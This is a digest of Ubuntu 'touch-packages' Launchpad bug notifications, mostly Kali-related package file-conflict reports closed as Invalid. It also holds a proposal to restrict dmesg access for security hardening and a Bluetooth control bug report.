[Touch-packages] [Bug 1529123] Re: package libjpeg62-turbo-dev (not installed) failed to install/upgrade: a tentar sobre-escrever '/usr/include/jpeglib.h', que também está no pacote libjpeg-turbo8-dev

[Kai Kasurinen]

DistroRelease: Kali 2.0

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg-turbo (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg-turbo in Ubuntu.
https://bugs.launchpad.net/bugs/1529123

Title:
  package libjpeg62-turbo-dev (not installed) failed to install/upgrade:
  a tentar sobre-escrever '/usr/include/jpeglib.h', que também está no
  pacote libjpeg-turbo8-dev:amd64 1.3.0-0ubuntu2

Status in libjpeg-turbo package in Ubuntu:
  Invalid

Bug description:
  package libjpeg62-turbo-dev (not installed) failed to install/upgrade:
  a tentar sobre-escrever '/usr/include/jpeglib.h', que também está no
  pacote libjpeg-turbo8-dev:amd64 1.3.0-0ubuntu2

  ProblemType: Package
  DistroRelease: Kali 2.0
  Package: libjpeg62-turbo-dev (not installed)
  ProcVersionSignature: Ubuntu 4.2.0-22.27-generic 4.2.6
  Uname: Linux 4.2.0-22-generic x86_64
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: amd64
  Date: Thu Dec 24 13:10:11 2015
  DuplicateSignature: package:libjpeg62-turbo-dev:(not installed):a tentar 
sobre-escrever '/usr/include/jpeglib.h', que também está no pacote 
libjpeg-turbo8-dev:amd64 1.3.0-0ubuntu2
  ErrorMessage: a tentar sobre-escrever '/usr/include/jpeglib.h', que também 
está no pacote libjpeg-turbo8-dev:amd64 1.3.0-0ubuntu2
  InstallationDate: Installed on 2015-12-24 (0 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021)
  RelatedPackageVersions:
   dpkg 1.18.2ubuntu5.1
   apt  1.0.10.2ubuntu1
  SourcePackage: libjpeg-turbo
  Title: package libjpeg62-turbo-dev (not installed) failed to install/upgrade: 
a tentar sobre-escrever '/usr/include/jpeglib.h', que também está no pacote 
libjpeg-turbo8-dev:amd64 1.3.0-0ubuntu2
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg-turbo/+bug/1529123/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1680302] Re: package grilo-plugins-0.3 (not installed) failed to install/upgrade: trying to overwrite '/usr/share/help/C/examples/example-tmdb.c', which is also in package grilo-

[Kai Kasurinen]

DistroRelease: Kali 2017.1

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: grilo-plugins (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to grilo-plugins in Ubuntu.
https://bugs.launchpad.net/bugs/1680302

Title:
  package grilo-plugins-0.3 (not installed) failed to install/upgrade:
  trying to overwrite '/usr/share/help/C/examples/example-tmdb.c', which
  is also in package grilo-plugins-0.2-base:amd64 0.2.17-0ubuntu2

Status in grilo-plugins package in Ubuntu:
  Invalid

Bug description:
  Went to update all software via "Ubuntu Software" GUI and pop-up
  displayed asking if I wanted to submitted bug report.

  ProblemType: Package
  DistroRelease: Kali 2017.1
  Package: grilo-plugins-0.3 (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-72.93-generic 4.4.49
  Uname: Linux 4.4.0-72-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Wed Apr  5 21:27:42 2017
  ErrorMessage: trying to overwrite 
'/usr/share/help/C/examples/example-tmdb.c', which is also in package 
grilo-plugins-0.2-base:amd64 0.2.17-0ubuntu2
  InstallationDate: Installed on 2017-04-05 (0 days ago)
  InstallationMedia: Ubuntu 14.04.5 LTS "Trusty Tahr" - Release amd64+mac 
(20160803)
  RelatedPackageVersions:
   dpkg 1.18.23kali1
   apt  1.2.19
  SourcePackage: grilo-plugins
  Title: package grilo-plugins-0.3 (not installed) failed to install/upgrade: 
trying to overwrite '/usr/share/help/C/examples/example-tmdb.c', which is also 
in package grilo-plugins-0.2-base:amd64 0.2.17-0ubuntu2
  UpgradeStatus: Upgraded to kali-rolling on 2017-04-05 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/grilo-plugins/+bug/1680302/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1683479] Re: package libtotem-plparser18 3.10.7-1ubuntu1 failed to install/upgrade: intentando sobreescribir `/usr/lib/x86_64-linux-gnu/libtotem-plparser18/totem-pl-parser/99-tot

[Kai Kasurinen]

DistroRelease: Kali 2017.1

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: totem-pl-parser (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to totem-pl-parser in Ubuntu.
https://bugs.launchpad.net/bugs/1683479

Title:
  package libtotem-plparser18 3.10.7-1ubuntu1 failed to install/upgrade:
  intentando sobreescribir `/usr/lib/x86_64-linux-gnu/libtotem-
  plparser18/totem-pl-parser/99-totem-pl-parser-videosite', que está
  también en el paquete libtotem-plparser-videosite:amd64
  3.10.7-1ubuntu1

Status in totem-pl-parser package in Ubuntu:
  Invalid

Bug description:
  after install katoolin tools

  ProblemType: Package
  DistroRelease: Kali 2017.1
  Package: libtotem-plparser18 3.10.7-1ubuntu1
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  Date: Mon Apr 17 14:00:45 2017
  ErrorMessage: intentando sobreescribir 
`/usr/lib/x86_64-linux-gnu/libtotem-plparser18/totem-pl-parser/99-totem-pl-parser-videosite',
 que está también en el paquete libtotem-plparser-videosite:amd64 
3.10.7-1ubuntu1
  InstallationDate: Installed on 2017-04-16 (1 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Release amd64 (20170412)
  RelatedPackageVersions:
   dpkg 1.18.23kali1
   apt  1.4
  SourcePackage: totem-pl-parser
  Title: package libtotem-plparser18 3.10.7-1ubuntu1 failed to install/upgrade: 
intentando sobreescribir 
`/usr/lib/x86_64-linux-gnu/libtotem-plparser18/totem-pl-parser/99-totem-pl-parser-videosite',
 que está también en el paquete libtotem-plparser-videosite:amd64 
3.10.7-1ubuntu1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/totem-pl-parser/+bug/1683479/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701309] Re: package libglib2.0-dev 2.52.0-1 failed to install/upgrade: tentative de remplacement de « /usr/bin/gdbus-codegen », qui appartient aussi au paquet libglib2.0-dev-bin

[Kai Kasurinen]

DistroRelease: Kali 2017.1

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: glib2.0 (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1701309

Title:
  package libglib2.0-dev 2.52.0-1 failed to install/upgrade: tentative
  de remplacement de « /usr/bin/gdbus-codegen », qui appartient aussi au
  paquet libglib2.0-dev-bin 2.52.0-1

Status in glib2.0 package in Ubuntu:
  Invalid

Bug description:
  ?

  ProblemType: Package
  DistroRelease: Kali 2017.1
  Package: libglib2.0-dev 2.52.0-1
  ProcVersionSignature: Ubuntu 4.10.0-26.30-generic 4.10.17
  Uname: Linux 4.10.0-26-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4.3
  Architecture: amd64
  Date: Thu Jun 29 17:45:50 2017
  ErrorMessage: tentative de remplacement de « /usr/bin/gdbus-codegen », qui 
appartient aussi au paquet libglib2.0-dev-bin 2.52.0-1
  InstallationDate: Installed on 2017-06-16 (13 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  RelatedPackageVersions:
   dpkg 1.18.23kali1
   apt  1.4
  SourcePackage: glib2.0
  Title: package libglib2.0-dev 2.52.0-1 failed to install/upgrade: tentative 
de remplacement de « /usr/bin/gdbus-codegen », qui appartient aussi au paquet 
libglib2.0-dev-bin 2.52.0-1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1701309/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1660119] Re: package gconf-service 3.2.6-3ubuntu6 failed to install/upgrade: se încearcă suprascrierea „/usr/lib/x86_64-linux-gnu/gconf/2/libgconfbackend-evoldap.so”, care este ș

[Kai Kasurinen]

DistroRelease: Kali 2016.2

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: gconf (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1660119

Title:
  package gconf-service 3.2.6-3ubuntu6 failed to install/upgrade: se
  încearcă suprascrierea „/usr/lib/x86_64-linux-gnu/gconf/2
  /libgconfbackend-evoldap.so”, care este și în pachetul gconf-service-
  backend 3.2.6-3ubuntu6

Status in gconf package in Ubuntu:
  Invalid

Bug description:
  i don`t now way

  ProblemType: Package
  DistroRelease: Kali 2016.2
  Package: gconf-service 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-59.80-generic 4.4.35
  Uname: Linux 4.4.0-59-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Sun Jan 29 12:47:46 2017
  ErrorMessage: se încearcă suprascrierea 
„/usr/lib/x86_64-linux-gnu/gconf/2/libgconfbackend-evoldap.so”, care este și în 
pachetul gconf-service-backend 3.2.6-3ubuntu6
  InstallationDate: Installed on 2017-01-22 (6 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  RelatedPackageVersions:
   dpkg 1.18.15kali1
   apt  1.4~beta4
  SourcePackage: gconf
  Title: package gconf-service 3.2.6-3ubuntu6 failed to install/upgrade: se 
încearcă suprascrierea 
„/usr/lib/x86_64-linux-gnu/gconf/2/libgconfbackend-evoldap.so”, care este și în 
pachetul gconf-service-backend 3.2.6-3ubuntu6
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1660119/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1580713] Re: package libjpeg8 8c-2ubuntu8 [modified: usr/share/doc/libjpeg8/changelog.Debian.gz usr/share/doc/libjpeg8/copyright] failed to install/upgrade: trying to overwrite s

[Kai Kasurinen]

libjpeg8:amd64 (8d1-2)

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1580713

Title:
  package libjpeg8 8c-2ubuntu8 [modified:
  usr/share/doc/libjpeg8/changelog.Debian.gz
  usr/share/doc/libjpeg8/copyright] failed to install/upgrade: trying to
  overwrite shared '/usr/share/doc/libjpeg8/copyright', which is
  different from other instances of package libjpeg8:i386

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  Errors were encountered while processing:
   /var/cache/apt/archives/libjpeg8_8c-2ubuntu8_i386.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: libjpeg8 8c-2ubuntu8 [modified: 
usr/share/doc/libjpeg8/changelog.Debian.gz usr/share/doc/libjpeg8/copyright]
  ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6
  Uname: Linux 4.4.0-21-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  Date: Wed May 11 23:29:05 2016
  Dependencies:
   gcc-6-base 6.1.1-1 [origin: Kali]
   libc6 2.23-0ubuntu3
   libgcc1 1:6.1.1-1 [origin: Kali]
   libjpeg-turbo8 1.4.2-0ubuntu3
   multiarch-support 2.23-0ubuntu3
  ErrorMessage: trying to overwrite shared '/usr/share/doc/libjpeg8/copyright', 
which is different from other instances of package libjpeg8:i386
  InstallationDate: Installed on 2016-05-02 (9 days ago)
  InstallationMedia: Lubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1
   apt  1.2.10ubuntu1
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8 8c-2ubuntu8 [modified: 
usr/share/doc/libjpeg8/changelog.Debian.gz usr/share/doc/libjpeg8/copyright] 
failed to install/upgrade: trying to overwrite shared 
'/usr/share/doc/libjpeg8/copyright', which is different from other instances of 
package libjpeg8:i386
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1580713/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1678556] Re: Installed Kali on xubuntu and login menu disappeard then these errors

[Kai Kasurinen]

DistroRelease: Kali 2016.2

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: gconf (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1678556

Title:
  Installed Kali on xubuntu and login menu disappeard then these errors

Status in gconf package in Ubuntu:
  Invalid

Bug description:
  I am new to Xubuntu/Ubuntu, running Xubuntu on a Macbook Pro 2009 15"

  Installed Kali linux on Xubuntu, and running into these errors. 
   Login script keeps looping, so tried this
  sudo apt-get update
  sudo apt-get -y dist-upgrade 
  sudo -apt-get install fglrx 

  because someone suggested it's due to Nvidia issue, didn't fix the
  issue

  ProblemType: Package
  DistroRelease: Kali 2016.2
  Package: gconf-service 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-70.91-generic 4.4.49
  Uname: Linux 4.4.0-70-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  Date: Sat Apr  1 21:54:20 2017
  ErrorMessage: trying to overwrite 
'/usr/lib/x86_64-linux-gnu/gconf/2/libgconfbackend-evoldap.so', which is also 
in package gconf-service-backend 3.2.6-3ubuntu6
  InstallationDate: Installed on 2017-03-29 (3 days ago)
  InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.23kali1
   apt  1.4~rc2
  SourcePackage: gconf
  Title: package gconf-service 3.2.6-3ubuntu6 failed to install/upgrade: trying 
to overwrite '/usr/lib/x86_64-linux-gnu/gconf/2/libgconfbackend-evoldap.so', 
which is also in package gconf-service-backend 3.2.6-3ubuntu6
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1678556/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1568444] Re: package libjpeg8-dev 8c-2ubuntu8 failed to install/upgrade: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.a', which is also in package libjpeg-turbo8-dev:am

[Kai Kasurinen]

DistroRelease: Kali 2016.1
libjpeg8-dev:amd64 (8d1-2)

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1568444

Title:
  package libjpeg8-dev 8c-2ubuntu8 failed to install/upgrade: trying to
  overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.a', which is also in
  package libjpeg-turbo8-dev:amd64 1.4.2-0ubuntu3

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  ?

  ProblemType: Package
  DistroRelease: Kali 2016.1
  Package: libjpeg8-dev 8c-2ubuntu8
  ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6
  Uname: Linux 4.4.0-18-generic x86_64
  ApportVersion: 2.20.1-0ubuntu1
  Architecture: amd64
  Date: Sat Apr  9 22:13:00 2016
  ErrorMessage: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.a', 
which is also in package libjpeg-turbo8-dev:amd64 1.4.2-0ubuntu3
  InstallationDate: Installed on 2016-03-30 (10 days ago)
  InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Beta amd64 
(20160329)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1
   apt  1.2.10
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8-dev 8c-2ubuntu8 failed to install/upgrade: trying to 
overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.a', which is also in package 
libjpeg-turbo8-dev:amd64 1.4.2-0ubuntu3
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1568444/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1545881] Re: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: a tentar sobre-escrever '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que também está no pacote libjpeg-turbo8:am

[Kai Kasurinen]

DistroRelease: Kali 2016.1
libjpeg8:amd64 (8d1-2)

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1545881

Title:
  package libjpeg8 8c-2ubuntu8 failed to install/upgrade: a tentar
  sobre-escrever '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que também
  está no pacote libjpeg-turbo8:amd64 1.3.0-0ubuntu2

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  Erros foram encontrados durante o processamento de:
   /var/cache/apt/archives/libjpeg8_8d1-2_amd64.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  ProblemType: Package
  DistroRelease: Kali 2016.1
  Package: libjpeg8 8c-2ubuntu8
  ProcVersionSignature: Ubuntu 4.2.0-27.32-generic 4.2.8-ckt1
  Uname: Linux 4.2.0-27-generic x86_64
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: amd64
  Date: Mon Feb 15 21:53:04 2016
  Dependencies:
   gcc-5-base 5.2.1-22ubuntu2
   libc6 2.21-0ubuntu4
   libgcc1 1:5.2.1-22ubuntu2
   libjpeg-turbo8 1.3.0-0ubuntu2 [origin: Ubuntu]
   multiarch-support 2.21-0ubuntu4
  DuplicateSignature: package:libjpeg8:8c-2ubuntu8:a tentar sobre-escrever 
'/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que também está no pacote 
libjpeg-turbo8:amd64 1.3.0-0ubuntu2
  ErrorMessage: a tentar sobre-escrever 
'/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que também está no pacote 
libjpeg-turbo8:amd64 1.3.0-0ubuntu2
  InstallationDate: Installed on 2016-02-15 (0 days ago)
  InstallationMedia: It
  RelatedPackageVersions:
   dpkg 1.18.4
   apt  1.0.10.2ubuntu1
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: a tentar 
sobre-escrever '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que também está no 
pacote libjpeg-turbo8:amd64 1.3.0-0ubuntu2
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1545881/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886112] Re: Enabling DMESG_RESTRICT in Groovy Onward

[Ubuntu Foundations Team Bug Bot]

The attachment "procps debdiff for Groovy" seems to be a debdiff.  The
ubuntu-sponsors team has been subscribed to the bug report so that they
can review and hopefully sponsor the debdiff.  If the attachment isn't a
patch, please remove the "patch" flag from the attachment, remove the
"patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe
the team.

[This is an automated message performed by a Launchpad user owned by
~brian-murray, for any issue please contact him.]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to util-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1886112

Title:
  Enabling DMESG_RESTRICT in Groovy Onward

Status in linux package in Ubuntu:
  Fix Committed
Status in procps package in Ubuntu:
  In Progress
Status in util-linux package in Ubuntu:
  In Progress
Status in linux source package in Groovy:
  Fix Committed
Status in procps source package in Groovy:
  In Progress
Status in util-linux source package in Groovy:
  In Progress

Bug description:
  [Impact]

  This bug implements the enablement of CONFIG_SECURITY_DMESG_RESTRICT
  feature by default for Groovy onward, proposed to ubuntu-devel:

  https://lists.ubuntu.com/archives/ubuntu-devel/2020-June/041063.html

  The kernel log buffer contains a wealth of sensitive information, such
  as detailed call traces and kernel addresses found in register dumps
  in kernel oops messages.

  Exploit developers and attackers can leverage these information leaks
  to get past KASLR, and they can use the kernel log buffer to get
  instant feedback on their privilege escalation attacks, as failures
  will be shown as further oops messages, which attackers can use to fix
  and tune their programs until they work.

  Currently, if I create a new, unprivileged user on a Focal system,
  they cannot access /var/log/kern.log, /var/log/syslog or see system
  events in journalctl. But yet, they are given free reign to the kernel
  log buffer.

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ cat /var/log/kern.log
  cat: /var/log/kern.log: Permission denied
  $ cat /var/log/syslog
  cat: /var/log/syslog: Permission denied
  $ journalctl
  Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal' can see all messages.
Pass -q to turn off this notice.
  Jun 16 23:44:59 ubuntu systemd[2328]: Reached target Main User Target.
  Jun 16 23:44:59 ubuntu systemd[2328]: Startup finished in 69ms.
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  I propose that we restrict access to dmesg to users in group 'adm'
  like so:

  1) CONFIG_SECURITY_DMESG_RESTRICT=y in the kernel.
  2) Following changes to /bin/dmesg permissions in package 'util-linux'
  - Ownership changes to root:adm
  - Permissions changed to 0750 (-rwxr-x---)
  - Add cap_syslog capability to binary.
  3) Add a commented out '# kernel.dmesg_restrict = 0' to
 /etc/sysctl.d/10-kernel-hardening.conf

  For most users, they will use the initial admin account, which is in
  the 'adm' group already, and will see no impact to these changes. If a
  log scraper type program needs access to dmesg, the user the daemon
  runs as can simply be added to the 'adm' group.

  [Testcase]

  Currently, all users can run /usr/bin/dmesg to view the kernel log
  buffer:

  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  When the changes are applied, the default admin user will be able to
  view dmesg (since they are in group 'adm'), while new unprivileged
  users will not.

  $ whoami
  ubuntu
  $ groups
  ubuntu adm cdrom sudo dip plugdev
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ dmesg
  -bash: /usr/bin/dmesg: Permission denied

  [Regression Potential]

  Some users or log scraper type programs may need to view the kernel
  log buffer, or have access to dmesg. In this case, the underlying
  service user would need to be added to the 'adm' group.

  Users have the ability 

[Touch-packages] [Bug 1885496] Re: Intel Wireless 8260 [8086:24f3] Subsystem [8086:9010] Bluetooth is disabled in gui, but audio reciever's action button still controls Ubuntu

[You-Sheng Yang]

** Summary changed:

- Bluetooth is disabled in gui, but audio reciever's action button still 
controls Ubuntu
+ Intel Wireless 8260 [8086:24f3] Subsystem [8086:9010] Bluetooth is disabled 
in gui, but audio reciever's action button still controls Ubuntu

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1885496

Title:
  Intel Wireless 8260 [8086:24f3] Subsystem [8086:9010] Bluetooth is
  disabled in gui, but audio reciever's action button still controls
  Ubuntu

Status in bluez package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Current behavior:
  In gnome-control-center I see the Bluetooth slider is set to Off and the 
status shows "Bluetooth Turned Off".

  My Bluetooth audio receiver which had previously been paired can still
  control VLC, or any other compatible media player with a Pause/Play
  button.  If no compatible app is running then an error icon
  appears.[0]

  Expected behavior: when gnome-control-center Bluetooth shows Disabled,
  then no bluetooth device should be able to communicate with the
  computer.

  Security: This is way out of my wheelhouse, but if this goes beyond my
  use case, could this have security implications?  Just the fact that
  the bluetooth subsystem is functional when the UI says it is not,
  seems like a bad sign, correct?

  EDIT:  as a next step, when I enabled Bluetooth in gnome-control-
  center I see the device's status as "Disconnected" and the device does
  not appear as a possible sound output device in Sound settings. In
